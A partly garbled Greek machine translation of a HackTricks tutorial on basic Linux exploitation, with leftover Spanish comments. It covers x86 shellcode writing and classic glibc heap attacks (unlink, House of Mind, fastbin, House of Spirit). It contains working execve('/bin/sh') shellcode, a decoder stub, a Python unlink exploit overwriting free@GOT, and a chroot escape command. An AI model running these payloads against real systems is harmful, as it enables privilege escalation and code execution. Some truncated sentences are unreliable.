42 KiB
Linux Exploiting (Βασικό) (SPA)
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.
2.SHELLCODE
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall
nasm -f elf assembly.asm —> Nos devuelve un .o
ld assembly.o -o shellcodeout —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
Comprobar que la shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Για να ελέγξετε αν οι κλήσεις συστήματος γίνονται σωστά, πρέπει να μεταγλωττίσετε το πρόγραμμα παραπάνω και οι κλήσεις συστήματος πρέπει να εμφανιστούν στο strace ./ΠΡΟΓΡΑΜΜΑ_ΜΕΤΑΓΛΩΤΤΙΣΜΕΝΟ
Κατά τη δημιουργία shellcodes μπορεί να γίνει ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον τοποθετεί το EIP στο stack. Μετά την εντολή call έχουμε τοποθετήσει το string που χρειαζόμαστε, έτσι με αυτό το EIP μπορούμε να δείξουμε στο string και να συνεχίσουμε να εκτελούμε τον κώδικα.
Π.χ. ΚΟΛΠΟ (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Χρήση του Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
ΕΚΤΕΛΕΣΗ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Κυνηγός Αυγών:
Αυτό είναι ένα μικρό κομμάτι κώδικα που διατρέχει τις σελίδες μνήμης που σχετίζονται με ένα διεργασία σε αναζήτηση του shellcode που είναι αποθηκευμένο εκεί (ψάχνει για κάποια υπογραφή που έχει το shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μικρός χώρος για να ενθετηθεί κώδικας.
Πολυμορφικά Shellcodes
Αυτά είναι κρυπτογραφημένα shellcodes που περιέχουν ένα μικρό κομμάτι κώδικα που τα αποκρυπτογραφεί και αλλάζει σε αυτό, χρησιμοποιώντας το κόλπο του Call-Pop, αυτό θα ήταν ένα παράδειγμα κρυπτογράφησης μετατόπισης:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Συμπληρωματικές μεθόδοι
Τεχνική του Murat
Στο Linux, όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από το 0xbfffffff.
Παρατηρώντας πως δημιουργείται η στοίβα ενός νέου διεργασίας στο Linux, μπορεί να αναπτυχθεί ένα exploit έτσι ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον όπου η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτή μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode).
Με αυτόν τον τρόπο, μπορεί να αποκτηθεί εύκολα η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode.
Αυτό είναι δυνατό λόγω του ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που έχει μόνο τις μεταβλητές περιβάλλοντος που επιθυμούνται.
Δομή __atexit
{% hint style="danger" %} Σήμερα είναι πολύ περίεργο να εκμεταλλευτείτε αυτό. {% endhint %}
Η atexit()
είναι μια συνάρτηση στην οποία περνιούνται άλλες συναρτήσεις ως παράμετροι. Αυτές οι συναρτήσεις θα εκτελεστούν κατά την εκτέλεση ενός exit()
ή την επιστροφή από το κύριο πρόγραμμα.
Αν μπορείτε να τροποποιήσετε τη διεύθυνση μιας από αυτές τις συναρτήσεις ώστε να δείχνει σε μια shellcode για παράδειγμα, τότε θα κερδίσετε έλεγχο της διεργασίας, αλλά αυτό είναι πιο περίπλοκο αυτή τη στιγμή.
Προς το παρόν, οι διευθύνσεις των συναρτήσεων που πρόκειται να εκτελεστούν είναι κρυμμένες πίσω από αρκετές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι κρυπτογραφημένες με XOR και μετατοπίσεις με ένα τυχαίο κλειδί. Έτσι, αυτός ο διανυσματικός επιθετικός δεν είναι πολύ χρήσιμος τουλάχιστον σε x86 και x64_86.
setjmp() & longjmp()
{% hint style="danger" %} Σήμερα είναι πολύ περίεργο να εκμεταλλευτείτε αυτό. {% endhint %}
Το Setjmp()
επιτρέπει να αποθηκεύσετε το πλαίσιο (τα καταχωρητές)
Το longjmp()
επιτρέπει να επαναφέρετε το πλαίσιο.
Τα αποθηκευμένα καταχωρητές είναι: EBX, ESI, EDI, ESP, EIP, EBP
Αυτό που συμβαίνει είναι ότι τα EIP και ESP περνιούνται από τη συνάρτηση PTR_MANGLE
, οπότε η αρχιτεκτονική ευάλωτη σε αυτήν την επίθεση είναι η ίδια με παραπάνω.
Είναι χρήσιμα για ανάκτηση σφαλμάτων ή διακοπές.
Ωστόσο, από ό,τι έχω διαβάσει, οι άλλοι καταχωρητές δεν προστατεύονται, έτσι αν υπάρχει ένα call ebx
, call esi
ή call edi
μέσα στη συνάρτηση που καλείται, μπορεί να πάρει τον έλεγχο. Ή μπορείτε επίσης να τροποποιήσετε τον EBP για να τροποποιήσετε το ESP.
VTable και VPTR στο C++
Κάθε κλάση έχει μια Vtable που είναι ένας πίνακας με pointers σε μεθόδους.
Κάθε αντικείμενο μιας κλάσης έχει ένα VPtr που είναι ένας δείκτης στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, οπότε αν μια αντικατάσταση του VPtr επιτευχθεί, μπορεί να τροποποιηθεί ώστε να δείχνει σε μια ψεύτικη μέθοδο, έτσι ώστε η εκτέλεση μιας συνάρτησης να πάει στη shellcode.
Προληπτικά μέτρα και αποφυγές
Αντικατάσταση του Libsafe
Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2
ή
“/lib/libsave.so.2” > /etc/ld.so.preload
Ορισμένες επικίνδυνες κλήσεις συναρτήσεων αντικαθίστανται με ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για συναθροίσεις με -fomit-frame-pointer, όχι στατικές συναθροίσεις, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid).
ASCII Armored Address Space
Αφορά τη φόρτωση κοινόχρηστων βιβλιοθηκών από το 0x00000000 έως το 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό δεν σταματά σχεδόν καμία επίθεση, ειδικά σε little endian.
ret2plt
Αποτελείται από την εκτέλεση ενός ROP έτσι ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει τον πρώτο byte της συνάρτησης που θέλετε να καλέσετε (system()). Στη συνέχεια, γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφοντας το 2ο byte του system()... Τελικά καλείται η διεύθυνση που αποθηκεύεται στο GOT που θα είναι το system().
Κλουβιά με chroot()
debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα σε ένα συγκεκριμένο υποκατάλογο
Ένας διαχειριστής μπορεί να βγει από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd ..
Εργαλεία κώδικα
Valgrind —> Ανιχνεύει σφάλματα
Memcheck
RAD (Return Address Defender)
Insure++
8 Υπερχείλιση Σωρού: Βασικά Exploits
Κομμάτι που έχει εκχωρηθεί
prev_size |
size | —Κεφαλίδα
*mem | Δεδομένα
Ελεύθερο κομμάτι
prev_size |
size |
*fd | Δείκτης προς το εμπρός κομμάτι
*bk | Δείκτης προς το πίσω κομμάτι —Κεφαλίδα
*mem | Δεδομένα
Τα ελεύθερα κομμάτια βρίσκονται σε μια λίστα διπλά συνδεδεμένη (bin) και δεν μπορούν να υπάρχουν δύο ελεύθερα κομμάτια δίπλα-δίπλα (συγχωνεύονται)
Στο "size" υπάρχουν bits για να υποδείξουν: Αν το προηγούμενο κομμάτι είναι σε χρήση, αν το κομμάτι έχει εκχωρηθεί μέσω του mmap() και αν το κομμάτι ανήκει στον κύριο χώρο.
Όταν απελευθερώνετε ένα κομμάτι, αν κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το μεγαλύτερο νέο κομμάτι περνιέται στο frontlink() για να εισαχθεί στον κατάλληλο bin.
unlink(){
BK = P->bk; —> Το BK του νέου κομματιού είναι αυτό που είχε το προηγούμενο ελεύθερο κομμάτι
FD = P->fd; —> Το FD του νέου κομματιού είναι αυτό που είχε το προηγούμενο ελεύθερο κομμάτι
FD->bk = BK; —> Το BK του επόμενου κομματιού δείχνει στο νέο κομμάτι
BK->fd = FD; —> Το FD του προηγούμενου κομματιού δ
Καλώντας τη συνάρτηση unlink(), το P->fd θα χρησιμοποιηθεί ως τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα εισαχθεί η διεύθυνση που θέλετε να αντικαταστήσετε - 12 (γιατί στο FD->bk θα προστεθεί 12 στη διεύθυνση που αποθηκεύεται στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που βρίσκεται στο 2ο κομμάτι, η οποία θα είναι η διεύθυνση του shellcode (ψευδής P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Σημαντικό να είναι 1 το bit που υποδηλώνει ότι το προηγούμενο κομμάτι είναι ελεύθερο
fake_size = pack("<I”, 0xfffffffc) #-4, για να νομίζει ότι το "size" του 3ου κομματιού είναι 4bytes πίσω (δείχνει στο prev_size) όπου ελέγχει αν το 2ο κομμάτι είναι ελεύθερο
addr_sc = pack("<I", 0x0804a008 + 8) #Στο payload στην αρχή θα βάλουμε 8bytes padding
got_free = pack("<I", 0x08048300 - 12) #Διεύθυνση της free() στο plt-12 (θα είναι η διεύθυνση που θα αντικατασταθεί για να εκτελεστεί το shellcode τη 2η φορά που καλείται η free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Όπως αναφέρθηκε, το payload ξεκινά με 8 bytes padding γιατί
payload += prev_size + fake_size + got_free + addr_sc #Τροποποιείται το 2ο κομμάτι, το got_free δείχνει όπου θα αποθηκευτεί η διεύθυνση addr_sc + 12
os.system("./8.3.o " + payload)
unset() απελευθερώνοντας με αντίστροφη σειρά (wargame)
Έχουμε έλεγχο 3 συνεχόμενων τμημάτων και απελευθερώνονται με αντίστροφη σειρά από την κράτηση.
Σε αυτή την περίπτωση:
Στο τμήμα c τοποθετείται το shellcode
Το τμήμα a χρησιμοποιείται για να αντικαταστήσει το b έτσι ώστε το μέγεθος να έχει απενεργοποιημένο το bit PREV_INUSE ώστε να νομίζει ότι το τμήμα a είναι ελεύθερο.
Επιπλέον, αντικαθίσταται στην κεφαλή του b το μέγεθος ώστε να είναι -4.
Έτσι, το πρόγραμμα θα νομίζει ότι το "a" είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει την unlink() για να το αποσυνδέσει. Ωστόσο, καθώς το μέγεθος του PREV_SIZE του b είναι -4, θα νομίζει ότι το τμήμα "a" πραγματικά ξεκινάει από το b+4. Δηλαδή, θα κάνει unlink() σε ένα τμήμα που ξεκινάει από το b+4, οπότε στο b+12 θα είναι το δείκτης "fd" και στο b+16 θα είναι ο δείκτης "bk".
Με αυτόν τον τρόπο, αν βάλουμε τη διεύθυνση του shellcode στο bk και τη διεύθυνση της συνάρτησης "puts()" -12 στο fd, έχουμε το payload μας.
Τεχνική Frontlink
Καλείται το frontlink όταν κάτι απελευθερώνεται και κανένα από τα διπλανά τμήματά του δεν είναι ελεύθερα, δεν καλείται η unlink() αλλά καλείται απευθείας το frontlink().
Χρήσιμη ευπάθεια όταν το malloc που επιτίθεστε δεν απελευθερώνεται ποτέ (free()).
Απαιτεί:
Ένα buffer που μπορεί να υπερχειλιστεί με τη συνάρτηση εισόδου δεδομένων
Ένα buffer δίπλα σε αυτό που πρέπει να απελευθερωθεί και στο οποίο θα τροποποιηθεί το πεδίο fd της κεφαλής του χάρη στην υπερχείλιση του προηγούμενου buffer
Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από τον προηγούμενο buffer
Ένα buffer που δηλώνεται πριν το βήμα 3 που επιτρέπει την αντικατάσταση του prev_size αυτού
Με αυτόν τον τρόπο, επιτυγχάνοντας την υπερχείλιση σε δύο mallocs με έλεγχο και σε έναν με έλεγχο μόνο που απελευθερώνεται, μπορούμε να κάνουμε ένα exploit.
Ευπάθεια double free()
Αν καλείται δύο φορές η free() με την ίδια δείκτη, υπάρχουν δύο bins που δείχνουν στην ίδια διεύθυνση.
Σε περίπτωση που θέλουμε να χρησιμοποιήσουμε έναν χωρίς προβλήματα. Σε περίπτωση που θέλουμε να χρησιμοποιήσουμε έναν άλλο, θα του ανατεθεί το ίδιο χώρο, έτσι θα έχουμε τους δείκτες "fd" και "bk" παραπλανημένους με τα δεδομένα που θα γράψει η προηγούμενη κράτηση.
Μετά τη free()
Ένας προηγουμένως απελευθερωμένος δείκτης χρησιμοποιείται ξανά χωρίς έλεγχο.
8 Υπερχειλίσεις στην Heap: Προηγμένα Exploits
Οι τεχνικές Unlink() και FrontLink() καταργήθηκαν με την τροποποίηση της συνάρτησης unlink().
The house of mind
Απαιτείται μόνο μια κλήση στη free() για να προκαλέσει την εκτέλεση κώδικα αυθαίρετα. Ενδιαφέρον παρουσιάζει τον εντοπισμό ενός δεύτερου τμήματος που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί.
Μια κλήση στη free() καλεί την public_fREe(mem), η οποία κάνει:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Επιστρέφει ένα δείκτη στη διεύθυνση όπου ξεκινά το τμήμα (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
Στο [1] ελέγχει το πεδίο size του bit NON_MAIN_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επιστροφή να είναι true και να εκτελεστεί το heap_for_ptr() που κάνει ένα and στο "mem" αφήνοντας τα 2,5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από το 0x0804a000 αφήνει το 0x08000000) και προσπελαύνει το 0x08000000->ar_ptr (σαν ένα struct heap_info)
Με αυτόν τον τρόπο, αν μπορούμε να ελέγξουμε ένα τμήμα για παράδειγμα στο 0x0804a000 και θα απελευθερωθεί ένα τμήμα στο 0x081002a0 μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα 0x0804a000. Όταν αυτό το δεύτερο τμήμα απελευθερωθεί, θα βρει ότι το heap_for_ptr(ptr)->ar_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (καθώς εφαρμόζεται το and στο 0x081002a0 που είδαμε πριν και από εκεί παίρνει την τιμή των πρώτων 4 bytes, το ar_ptr)
Με αυτόν τον τρόπο καλείται το _int_free(ar_ptr, mem), δηλαδή, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Όπως είδαμε προηγουμένως μπορούμε να ελέγξουμε την τιμή Στο δεύτερο κομμάτι και χάρη στο πρώτο, αντικαθιστούμε το prev_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON_MAIN_ARENA
Στη συνέχεια, στο κομμάτι 2 βάζουμε πολλά nops και τέλος το shellcode
Έτσι θα κληθεί ο _int_free(TROZO1, TROZO2) και θα ακολουθήσει τις οδηγίες για να γράψει στο __DTOR_END__ τη διεύθυνση του prev_size του TROZO2 το οποίο θα πηδήξει στο shellcode.
Για να εφαρμόσετε αυτή την τεχνική, απαιτούνται μερικές πρόσθετες προϋποθέσεις που δυσκολεύουν λίγο περισσότερο το payload.
Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη επειδή εφαρμόστηκε σχεδόν το ίδιο patch με αυτό για το unlink. Συγκρίνονται αν το νέο σημείο προορισμού δείχνει επίσης προς αυτόν.
Fastbin
Είναι μια παραλλαγή του The house of mind
μας ενδιαφέρει να εκτελέσουμε τον ακόλουθο κώδικα που εκτελείται μετά τον έλεγχο της συνάρτησης _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Με fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Με αυτόν τον τρόπο, αν τοποθετηθεί στο "fb" η διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα τοποθετηθεί η διεύθυνση του κομματιού που έχει υπερεπικαλυφθεί. Για αυτό θα χρειαστεί η αρένα να είναι κοντά στις διευθύνσεις των dtors. Ακριβέστερα, το av->max_fast πρέπει να βρίσκεται στη διεύθυνση που θα υπερεπικαλυφθεί.
Δεδομένου ότι με το The House of Mind είδαμε ότι εμείς ελέγχαμε τη θέση του av.
Έτσι, αν στο πεδίο size βάλουμε μέγεθος 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() θα μας επιστρέψει fastbins[-1], που θα δείχνει στο av->max_fast
Σε αυτήν την περίπτωση, το av->max_fast θα είναι η διεύθυνση που θα υπερεπικαλυφθεί (όχι στην οποία θα δείχνει, αλλά αυτή η θέση θα υπερεπικαλυφθεί).
Επιπλέον, πρέπει να ισχύει ότι το συνεχόμενο κομμάτι που απελευθερώνεται πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του κομματιού που απελευθερώνεται είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει απλά να βάλουμε ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον το shellcode θα βρίσκεται στο κομμάτι που απελευθερώνεται, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops).
Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system_mem. Το av->system_mem βρίσκεται 1848 bytes πιο πέρα.
Λόγω των μηδενικών του _DTOR_END_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις ενότητες δεν εξυπηρετεί για υπερεπικάλυψη, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για επίθεση στη στοίβα.
Μια άλλη μέθοδος επίθεσης είναι η ανακατεύθυνση του av προς τη στοίβα.
Αν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8 τότε: fastbin_index() θα μας επιστρέψει fastbins[0] και μπορούμε να χρησιμοποιήσουμε αυτό για να υπερεπικαλύψουμε τη στοίβα.
Για αυτό δεν πρέπει να υπάρχει κανένα canary ή περίεργες τιμές στη στοίβα, πρέπει να βρισκόμαστε σε αυτήν: 4bytes μηδενικά + EBP + RET
Τα 4 bytes μηδενικά απαιτούνται για να είναι το av σε αυτήν τη διεύθυνση και το πρώτο στοιχείο ενός av είναι το mutex που πρέπει να είναι 0.
Το av->max_fast θα είναι το EBP και θα είναι μια τιμή που θα μας επιτρέψει να παρακάμψουμε τους περιορισμούς.
Στο av->fastbins[0] θα υπερεπικαλυφθεί με τη διεύθυνση του p και θα είναι το RET, έτσι θα πηδήξει στο shellcode.
Επιπλέον, στο av->system_mem (1484bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετό σκουπίδι που θα μας επιτρέψει να παρακάμψουμε τον έλεγχο που πραγματοποιείται.
Επιπλέον, πρέπει να ισχύει ότι το συνεχόμενο κομμάτι που απελευθερώνεται πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του κομματιού που απελευθερώνεται είναι 16, σε αυτό το ψεύτικο κομμάτι απλά πρέπει να βάλουμε ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον το shellcode θα βρίσκεται στο κομμάτι που απελευθερώνεται, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που ακολουθούν μετά το πεδίο size του νέου ψεύτικου κομματιού).
The House of Spirit
Σε αυτήν την περίπτωση, αναζητούμε ένα δείκτη σε ένα malloc που μπορεί να τροποποιηθεί από τον επιτιθέμενο (π.χ., ο δείκτης να βρίσκεται στη στοίβα κάτω από ένα πιθανό overflow σε μια μεταβλητή).
Έτσι, θα μπορούσαμε να κατευθύνουμε αυτόν τον δείκτη όπου θέλαμε. Ωστόσο, όχι οποιαδήποτε θέση είναι έγκυρη, το μέγεθος του Ϩεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητείται σε μια μελλοντική κλήση στο malloc()+8. Γι' αυτό, αν γνωρίζουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται το malloc(40), το μέγεθος του Ϩεύτικου κομματιού πρέπει να είναι ίσο με 48.
Αν για παράδειγμα το πρόγραμμα ρωτάει τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να κατευθύνουμε τον τροποποιήσιμο δείκτη του malloc στα επόμενα 4bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλή size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί αρκετές προϋποθέσεις (σε αυτήν την περίπτωση ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system_mem.
Αν αυτό πληροίται, όταν κληθεί το επόμενο malloc που είπαμε ότι είναι malloc(40), θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Αν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc μπορεί να υπερεπικαλύψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει.
Αυτό πιστεύω ότι είναι επειδή έτσι όταν απελευθερωθεί free() θα αποθηκεύσει ότι στη διεύθυνση που δείχν Αν υπάρχει ένα κομμάτι στον bin με τον κατάλληλο μέγεθος που ζητείται, τότε επιστρέφεται αυτό μετά την αποσύνδεσή του:
bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μοναδική πληροφορία που μπορούμε να τροποποιήσουμε.
bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στο stack στο επόμενο κομμάτι που έχει κρατηθεί, τότε θα δοθεί αυτή η διεύθυνση.
bck->fd = bin; Κλείνει η λίστα με το να δείχνει σε αυτό το bin.
Απαιτείται:
Να κρατηθούν δύο malloc, έτσι ώστε να μπορεί να γίνει overflow στο πρώτο μετά την απελευθέρωση του δεύτερου και να έχει εισαχθεί στον bin του (δηλαδή να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν το overflow)
Το malloc που κρατείται και στο οποίο δίνεται η διεύθυνση που επιλέγει ο επιτιθέμενος να ελέγχεται από τον επιτιθέμενο.
Ο στόχος είναι ο εξής, αν μπορούμε να κάνουμε ένα overflow σε ένα heap που έχει κάτω του ένα κομμάτι που έχει ήδη απελευθερωθεί και βρίσκεται στον bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Αν τροποποιήσουμε τον δείκτη bk και αυτό το κομμάτι γίνει το πρώτο στη λίστα του bin και κρατηθεί, τότε ο bin θα παραπλανηθεί και θα του λέμε ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) βρίσκεται στην ψευδή διεύθυνση που έχουμε θέσει (στο stack ή στο GOT για παράδειγμα). Έτσι, αν κρατηθεί ξανά ένα άλλο κομμάτι και ο επιτιθέμενος έχει δικαιώματα σε αυτό, θα δοθεί ένα κομμάτι στην επιθυμητή θέση και θα μπορεί να γράψει εκεί.
Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στον bin του.
Μόλις βρεθεί στον bin του, είναι η στιγμή να του τροποποιηθεί ο δείκτης bk μέσω του overflow ώστε να δείχνει στη διεύθυνση που θέλουμε να αντικαταστήσουμε.
Έτσι, ο bin θα πρέπει να περιμένει να κληθεί η malloc() αρκετές φορές ώστε να χρησιμοποιηθεί ξανά το τροποποιημένο bin και να παραπλανηθεί ο bin πιστεύοντας ότι το επόμενο κομμάτι βρίσκεται στην ψευδή διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει.
Για να εκτελεστεί η ευπάθεια το συντομότερο δυνατόν, ιδανικά θα ήταν: Κράτηση του ευάθροτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός κομματιού μεγαλύτερου από αυτό που θα τροποποιηθεί, τροποποίηση του κομματιού (ευπάθεια), κράτηση ενός κομματιού με τον ίδιο μέγεθος με το ευάθροτο κομμάτι και κράτηση ενός δεύτερου κομματιού με τον ίδιο μέγεθος και αυτό θα είναι αυτό που θα δείχνει στην επιλεγμένη διεύθυνση.
Για να προστατευτεί αυτή η επίθεση χρησιμοποιείται ο τυπικός έλεγχος ότι το κομμάτι "δεν" είναι ψευδές: ελέγχεται αν το bck->fd δείχνει στον victim. Δηλαδή, στην περίπτωσή μας, αν ο δείκτης fd του ψευδοκομματιού που δείχνει στο stack δείχνει στον victim. Για να παρακάμψει αυτήν την προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει κάπως (πιθανότατα μέσω του stack) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι, θα φαίνεται ότι είναι ένα αληθινό κομμάτι.
Διαφθορά LargeBin
Απαιτούνται τα ίδια προαπαιτούμενα με πριν και κάποια παραπάνω, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512.
Η επίθεση είναι όπως η προηγούμενη, δηλαδή πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις στην malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το size - nb να είναι < MINSIZE.
